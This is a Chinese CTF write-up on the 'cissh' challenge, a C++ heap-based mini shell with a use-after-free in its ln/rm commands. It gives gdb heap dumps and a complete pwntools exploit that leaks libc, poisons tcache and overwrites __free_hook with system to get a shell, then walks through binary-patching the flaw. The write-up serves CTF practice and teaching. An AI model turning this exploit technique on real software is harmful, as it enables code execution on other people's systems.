0%

国赛决赛awd+的cissh的pwn&patch

国赛终于打完🌶,👴可以退役了。中午吃饭一看排名,学校三个队78,79,80,好家伙,👴直接人生有梦各自精彩。然后最后一小时,靠着三道可信计算疯狂上分(可信计算,yyds)。最后三个队得了两个国一,一个国二,👴这种老年选手也算是圆满退役🌶。
这里记录一下第二天的cissh的pwn&patch,这题pwn没啥好说的,只是c++难看了点,uaf直接打就完事,patch的话👴一个小时没patch出来(主要还是c++太难看了),所以赛后重新patch了下,顺便记录下c++该怎么patch。

cissh

pwn

简单测试下程序功能,有ls,ln,vi,touch,cat,rm功能,相当于用堆实现了部分shell的功能,然后我们直接进行一个初步测试,touch会申请堆块存储文件,ls能列出文件,cat,vi,rm功能都同shell中相同,但是都是基于堆实现了,这里我们发现ln可以将文件a指向文件b的文件内容,free b后,b指向的文件内容堆地址已经被free了,但是仍然可以通过对a的访问和编辑来修改b指向的文件内容,从而导致了uaf。利用这个uaf可以泄露libc基址,然后打tcache从而打到free_hook上,改写成system从而获得shell,进而获得flag。

具体的数据说明如下:

堆记录数据结构:

file type有file和link

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
gdb-peda$ x/50gx 0x55c05c5e2370
0x55c05c5e2370: 0x0000000000000000 0x0000000000000071
#addr_to_exe1
0x55c05c5e2380: 0x000055c05c49aae0 0x0000000100000001
#addr to file name file name size
0x55c05c5e2390: 0x000055c05c5e23a0 0x0000000000000004
#file name
0x55c05c5e23a0: 0x0000000063636363 0x0000000000000000
#ptr to addr_file_content
0x55c05c5e23b0: 0x000055c05c5e2270 0x000055c05c5e23f0
#addr to file type file type size
0x55c05c5e23c0: 0x000055c05c5e23d0 0x0000000000000004
#file type
0x55c05c5e23d0: 0x000000006b6e696c 0x0000000000000000
0x55c05c5e23e0: 0x0000000000000000 0x0000000000000021
#ptr to addr_to_exe3
0x55c05c5e23f0: 0x000055c05c49ab50 0x0000000100000001
#ptr to addr_file_content
0x55c05c5e2400: 0x000055c05c5e2270 0x000000000000ec01

gdb-peda$ telescope 0x55c05c5e2370
0000| 0x55c05c5e2370 --> 0x0
0008| 0x55c05c5e2378 --> 0x71 ('q')
0016| 0x55c05c5e2380 --> 0x55c05c49aae0 --> 0x55c05c4931d4 (<_ZNSt23_Sp_counted_ptr_inplaceI4FileSaIS0_ELN9__gnu_cxx12_Lock_policyE2EED2Ev>: endbr64)
0024| 0x55c05c5e2388 --> 0x100000001
0032| 0x55c05c5e2390 --> 0x55c05c5e23a0 --> 0x63636363 ('cccc')
0040| 0x55c05c5e2398 --> 0x4
0048| 0x55c05c5e23a0 --> 0x63636363 ('cccc')
0056| 0x55c05c5e23a8 --> 0x0
gdb-peda$ telescope 0x55c05c5e2370 30
0000| 0x55c05c5e2370 --> 0x0
0008| 0x55c05c5e2378 --> 0x71 ('q')
0016| 0x55c05c5e2380 --> 0x55c05c49aae0 --> 0x55c05c4931d4 (<_ZNSt23_Sp_counted_ptr_inplaceI4FileSaIS0_ELN9__gnu_cxx12_Lock_policyE2EED2Ev>: endbr64)
0024| 0x55c05c5e2388 --> 0x100000001
0032| 0x55c05c5e2390 --> 0x55c05c5e23a0 --> 0x63636363 ('cccc')
0040| 0x55c05c5e2398 --> 0x4
0048| 0x55c05c5e23a0 --> 0x63636363 ('cccc')
0056| 0x55c05c5e23a8 --> 0x0
0064| 0x55c05c5e23b0 --> 0x55c05c5e2270 --> 0x55c05c5e22c0 ("asdfasdfasdfasdf")
0072| 0x55c05c5e23b8 --> 0x55c05c5e23f0 --> 0x55c05c49ab50 --> 0x55c05c492fcc (<_ZNSt15_Sp_counted_ptrIPNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEELN9__gnu_cxx12_Lock_policyE2EED2Ev>: endbr64)
0080| 0x55c05c5e23c0 --> 0x55c05c5e23d0 --> 0x6b6e696c ('link')
0088| 0x55c05c5e23c8 --> 0x4
0096| 0x55c05c5e23d0 --> 0x6b6e696c ('link')
0104| 0x55c05c5e23d8 --> 0x0
0112| 0x55c05c5e23e0 --> 0x0
0120| 0x55c05c5e23e8 --> 0x21 ('!')
0128| 0x55c05c5e23f0 --> 0x55c05c49ab50 --> 0x55c05c492fcc (<_ZNSt15_Sp_counted_ptrIPNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEELN9__gnu_cxx12_Lock_policyE2EED2Ev>: endbr64)
0136| 0x55c05c5e23f8 --> 0x100000001
0144| 0x55c05c5e2400 --> 0x55c05c5e2270 --> 0x55c05c5e22c0 ("asdfasdfasdfasdf")
0152| 0x55c05c5e2408 --> 0xec01
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
gdb-peda$ x/50gx 0x55c05c5e21e0
0x55c05c5e21e0: 0x0000000000000000 0x0000000000000071 #freed after rm dddd
#addr_to_exe1
0x55c05c5e21f0: 0x000055c05c49aae0 0x0000000100000001
#addr to file name file name size
0x55c05c5e2200: 0x000055c05c5e2210 0x0000000000000004
#file name
0x55c05c5e2210: 0x0000000064646464 0x0000000000000000
#ptr to addr_file_content
0x55c05c5e2220: 0x000055c05c5e2270 0x000055c05c5e2260
#addr to file type file type size
0x55c05c5e2230: 0x000055c05c5e2240 0x0000000000000004
#file type
0x55c05c5e2240: 0x00000000656c6966 0x0000000000000000

0x55c05c5e2250: 0x0000000000000000 0x0000000000000041 #freed after rm dddd
#addr_to_exe2
0x55c05c5e2260: 0x000055c05c49ab18 0x0000000100000001
#addr_file_content content_length
0x55c05c5e2270: 0x000055c05c5e22c0 0x0000000000000010
0x55c05c5e2280: 0x000000000000001e 0x0000000000000000

0x55c05c5e2290: 0x0000000000000000 0x0000000000000021 #freed after rm dddd
0x55c05c5e22a0: 0x0000000000000000 0x000055c05c5d0010

0x55c05c5e22b0: 0x0000000000000000 0x0000000000000031 #freed after rm dddd
#file_content
0x55c05c5e22c0: 0x6664736166647361 0x6664736166647361
0x55c05c5e22d0: 0x0000000000000000 0x0000000000000000
0x55c05c5e22e0: 0x0000000000000000

gdb-peda$ telescope 0x55c05c5e21e0 30
0000| 0x55c05c5e21e0 --> 0x0
0008| 0x55c05c5e21e8 --> 0x71 ('q')
0016| 0x55c05c5e21f0 --> 0x55c05c49aae0 --> 0x55c05c4931d4 (<_ZNSt23_Sp_counted_ptr_inplaceI4FileSaIS0_ELN9__gnu_cxx12_Lock_policyE2EED2Ev>: endbr64)
0024| 0x55c05c5e21f8 --> 0x100000001
0032| 0x55c05c5e2200 --> 0x55c05c5e2210 --> 0x64646464 ('dddd')
0040| 0x55c05c5e2208 --> 0x4
0048| 0x55c05c5e2210 --> 0x64646464 ('dddd')
0056| 0x55c05c5e2218 --> 0x0
0064| 0x55c05c5e2220 --> 0x55c05c5e2270 --> 0x55c05c5e22c0 ("asdfasdfasdfasdf")
0072| 0x55c05c5e2228 --> 0x55c05c5e2260 --> 0x55c05c49ab18 --> 0x55c05c49337e (<_ZNSt23_Sp_counted_ptr_inplaceINSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEESaIS5_ELN9__gnu_cxx12_Lock_policyE2EED2Ev>: endbr64)
0080| 0x55c05c5e2230 --> 0x55c05c5e2240 --> 0x656c6966 ('file')
0088| 0x55c05c5e2238 --> 0x4
0096| 0x55c05c5e2240 --> 0x656c6966 ('file')
0104| 0x55c05c5e2248 --> 0x0
0112| 0x55c05c5e2250 --> 0x0
0120| 0x55c05c5e2258 --> 0x41 ('A')
0128| 0x55c05c5e2260 --> 0x55c05c49ab18 --> 0x55c05c49337e (<_ZNSt23_Sp_counted_ptr_inplaceINSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEESaIS5_ELN9__gnu_cxx12_Lock_policyE2EED2Ev>: endbr64)
0136| 0x55c05c5e2268 --> 0x100000001
0144| 0x55c05c5e2270 --> 0x55c05c5e22c0 ("asdfasdfasdfasdf")
0152| 0x55c05c5e2278 --> 0x10
0160| 0x55c05c5e2280 --> 0x1e
0168| 0x55c05c5e2288 --> 0x0
0176| 0x55c05c5e2290 --> 0x0
0184| 0x55c05c5e2298 --> 0x21 ('!')
0192| 0x55c05c5e22a0 --> 0x0
--More--(25/30)x/50i 0x55c05c49337e
0200| 0x55c05c5e22a8 --> 0x55c05c5d0010 --> 0x1000000000001
0208| 0x55c05c5e22b0 --> 0x0
0216| 0x55c05c5e22b8 --> 0x31 ('1')
0224| 0x55c05c5e22c0 ("asdfasdfasdfasdf")
0232| 0x55c05c5e22c8 ("asdfasdf")

free后

1
2
3
4
5
0x20 [  1]: 0x5555555792a0 ◂— 0x0
0x30 [ 1]: 0x5555555792c0 ◂— 0x0
0x40 [ 1]: 0x555555579260 ◂— 0x0 #这里存放着指向content的地址,仍然可用
0x50 [ 1]: 0x5555555791a0 ◂— 0x0
0x70 [ 1]: 0x5555555791f0 ◂— 0x0

free后再次vi cccc可以修改原来的堆的fd指向

1
2
3
4
5
6
gdb-peda$ bins
tcachebins
0x30 [ 5]: 0x555555579600 ◂— 'ffffffff' #这里已经变成了我们ffffffff写入的地址,即fd可控了
0x40 [ 4]: 0x555555579590 —▸ 0x555555579490 —▸ 0x555555579380 —▸ 0x555555579260 ◂— 0x0
0x50 [ 2]: 0x5555555791a0 —▸ 0x5555555794d0 ◂— 0x0
0x70 [ 3]: 0x555555579520 —▸ 0x555555579310 —▸ 0x5555555791f0 ◂— 0x0

然后这就是本题的漏洞点uaf了,接下来怎么打就不用我多说了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
# -*- coding: utf-8 -*-
from pwn import *
# Created on 7月-18-21 08:20
# exp.py
# @author: 1p0ch
context.arch = 'amd64'
context.log_level = 'debug'
p = remote('10.1.128.10', 10001)
#p = process('./cissh')
elf=ELF('./cissh')
libc=ELF('./libc64.so')

def cmd(conn): #add
p.sendlineafter('$',conn)

def vi(name,content):
p.sendlineafter('$','vi '+name)
p.sendline(content)

def free(name):
p.sendlineafter('$','rm '+name)

cmd("touch eeee")
vi("eeee","c"*0xff0)
#free("eeee")
#cmd("cat ffff")
cmd("ln ffff eeee")
free("eeee")
cmd("ls")
p.recvuntil("ffff")
cmd("cat ffff")
cmd("cat ffff")

__malloc_hook=u64(p.recvline()[4:12])-0x70
print(hex(__malloc_hook))
libc_base=__malloc_hook-libc.sym['__malloc_hook']
system=libc_base+libc.sym['system']
free_hook=libc_base+libc.sym['__free_hook']
cmd("touch gggg")
vi("gggg","c"*0x23)

cmd("touch hhhh")
vi("hhhh","c"*0x23)


cmd("touch yyyy")
vi("yyyy","c"*0x23)

cmd("touch uuuu")
vi("uuuu","c"*0x23)


cmd("touch defg")
vi("defg","/bin/sh\x00/bin/sh\x00/bin/sh\x00/bin/sh\x00")
cmd("touch oooo")
cmd("touch kkkk")
cmd("touch llll")
cmd("touch jjjj")


free("gggg")
free("hhhh")
free("yyyy")
free("uuuu")

cmd("touch dddd")
vi("dddd","asdfasdfasdfasdf")
cmd("ls")
cmd("ln cccc dddd")
cmd("rm dddd")
cmd("cat cccc")
vi("cccc",p64(free_hook))# uaf,add every addr

vi("oooo",p64(free_hook)+b'a'*0x19)
vi("oooo",p64(system)+b'\x00'*0x19)
vi("oooo","/bin/sh\x00")
free("oooo")

'''
touch dddd
vi dddd
asdfasdfasdfasdf
ls
ln cccc dddd
rm dddd
cat cccc
#00 00 00 00 00 00 00 00 10 10 c9 11 bc 55 00 00
'''

#gdb.attach(p)
#pause()
p.interactive()

patch

怎么说呢,pwn的时候👴就基本是看着功能全靠测,测出来的。但是patch的时候就很难顶了,所以👴只能打完比赛仔细看看怎么patch,顺便看看有啥c++通用patch方法🐎。

这里关键的patch的地方在这里:

1
2
3
4
5
6
.text:0000000000003BD8                 call    _ZN9__gnu_cxx17__normal_iteratorIPKSt10shared_ptrI4FileESt6vectorIS3_SaIS3_EEEC2IPS3_EERKNS0_IT_NS_11__enable_ifIXsrSt10__are_sameISC_SB_E7__valueES8_E6__typeEEE ; __gnu_cxx::__normal_iterator<std::shared_ptr<File> const*,std::vector<std::shared_ptr<File>>>::__normal_iterator<std::shared_ptr<File>*>(__gnu_cxx::__normal_iterator<std::shared_ptr<File>*,__gnu_cxx::__enable_if<std::__are_same<std::shared_ptr<File>*,std::shared_ptr<File>*>::__value,std::vector<std::shared_ptr<File>>>::__type> const&)
.text:0000000000003BDD mov rax, [rbp+var_20]
.text:0000000000003BE1 mov rsi, rax
.text:0000000000003BE4 mov rdi, rbx
.text:0000000000003BE7 call _ZNSt6vectorISt10shared_ptrI4FileESaIS2_EE5eraseEN9__gnu_cxx17__normal_iteratorIPKS2_S4_EE ; std::vector<std::shared_ptr<File>>::erase(__gnu_cxx::__normal_iterator<std::shared_ptr<File> const*,std::vector<std::shared_ptr<File>>>)
.text:0000000000003BEC jmp short loc_3C2F

这里erase执行后就相当于c里面的free,所以我们就用c里patch uaf的方法来patch即可。

首先修改段权限,我们找到pht_entry这里,由于我们要在eh_frame写代码,所以改这个段权限

eh_frame的地址是0xc498,所以我们找到对应的pht_entry

1
2
3
4
5
6
7
8
9
LOAD:0000000000000120 ; PHT Entry 4
LOAD:0000000000000120 dd 1 ; Type: LOAD
LOAD:0000000000000124 dd 4 ; Flags
LOAD:0000000000000128 dq 0B000h ; File offset
LOAD:0000000000000130 dq offset _IO_stdin_used ; Virtual address
LOAD:0000000000000138 dq 0B000h ; Physical address
LOAD:0000000000000140 dq 54CBh ; Size in file image
LOAD:0000000000000148 dq 54CBh ; Size in memory image
LOAD:0000000000000150 dq 1000h ; Alignment

这里我们把124这个flag的位置原本的4改成7,即rwx即可。

然后我们到call erase这个函数这里,patch成跳到eh_frame这里,

1
2
3
4
.text:0000000000003BDD                 mov     rax, [rbp-20h]
.text:0000000000003BE1 mov rsi, rax
.text:0000000000003BE4 mov rdi, rbx
.text:0000000000003BE7 jmp loc_C498

然后先把对应的要free的chunk保存到r14和r15里,然后调用erase函数进行free操作,随后对存储内容的堆块进行清空操作,最后跳回对应的函数位置即可。

通过对数据结构的分析我们知道,0x41的堆块+0x10的位置其实是存储文件内容地址和长度的,在文件的初始状态下,其实是指向该堆块+0x20的位置的,同时+0x18处的长度也为0。所以这里我们的目标其实就是在ln cccc dddd,rm dddd的操作后,让cccc的指向0x41堆块的指向内容清空,长度也清空。这里通过对数据结构的分析,我们很容易就能找到0x41堆块+0x10的位置,然后对其赋值为该堆块+0x20的位置,长度赋值为0即可。

最终我们修改的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
.eh_frame:000000000000C498 loc_C498:                               ; CODE XREF: Manager::rmFile(void)+DB↑j
.eh_frame:000000000000C498 mov rax, [rdi]
.eh_frame:000000000000C49B mov rbx, [rax]
.eh_frame:000000000000C49E add rbx, 20h
.eh_frame:000000000000C4A2 mov rax, [rbx]
.eh_frame:000000000000C4A5 mov r14, rax
.eh_frame:000000000000C4A8 nop
.eh_frame:000000000000C4A9 mov r15, r8
.eh_frame:000000000000C4AC nop
.eh_frame:000000000000C4AD nop
.eh_frame:000000000000C4AE nop
.eh_frame:000000000000C4AF nop
.eh_frame:000000000000C4B0 call _ZNSt6vectorISt10shared_ptrI4FileESaIS2_EE5eraseEN9__gnu_cxx17__normal_iteratorIPKS2_S4_EE ; std::vector<std::shared_ptr<File>,std::allocator<std::shared_ptr<File>>>::erase(__gnu_cxx::__normal_iterator<std::shared_ptr<File> const*,std::vector<std::shared_ptr<File>,std::allocator<std::shared_ptr<File>>>>)
.eh_frame:000000000000C4B5 add r15, 10h
.eh_frame:000000000000C4B9 nop
.eh_frame:000000000000C4BA nop
.eh_frame:000000000000C4BB nop
.eh_frame:000000000000C4BC nop
.eh_frame:000000000000C4BD mov [r14], r15
.eh_frame:000000000000C4C0 mov r8, 0
.eh_frame:000000000000C4C7 mov [r14+8], r8
.eh_frame:000000000000C4CB jmp loc_3C2F

经过测试后,发现成功清空了堆块,在rm dddd之后cat cccc会显示无内容。(当然这里仅本地patch通过了,不知道天枢师傅的check脚本是怎么写的,所以比赛时能不能通过就不一定了。

好饿啊,早知道不学安全了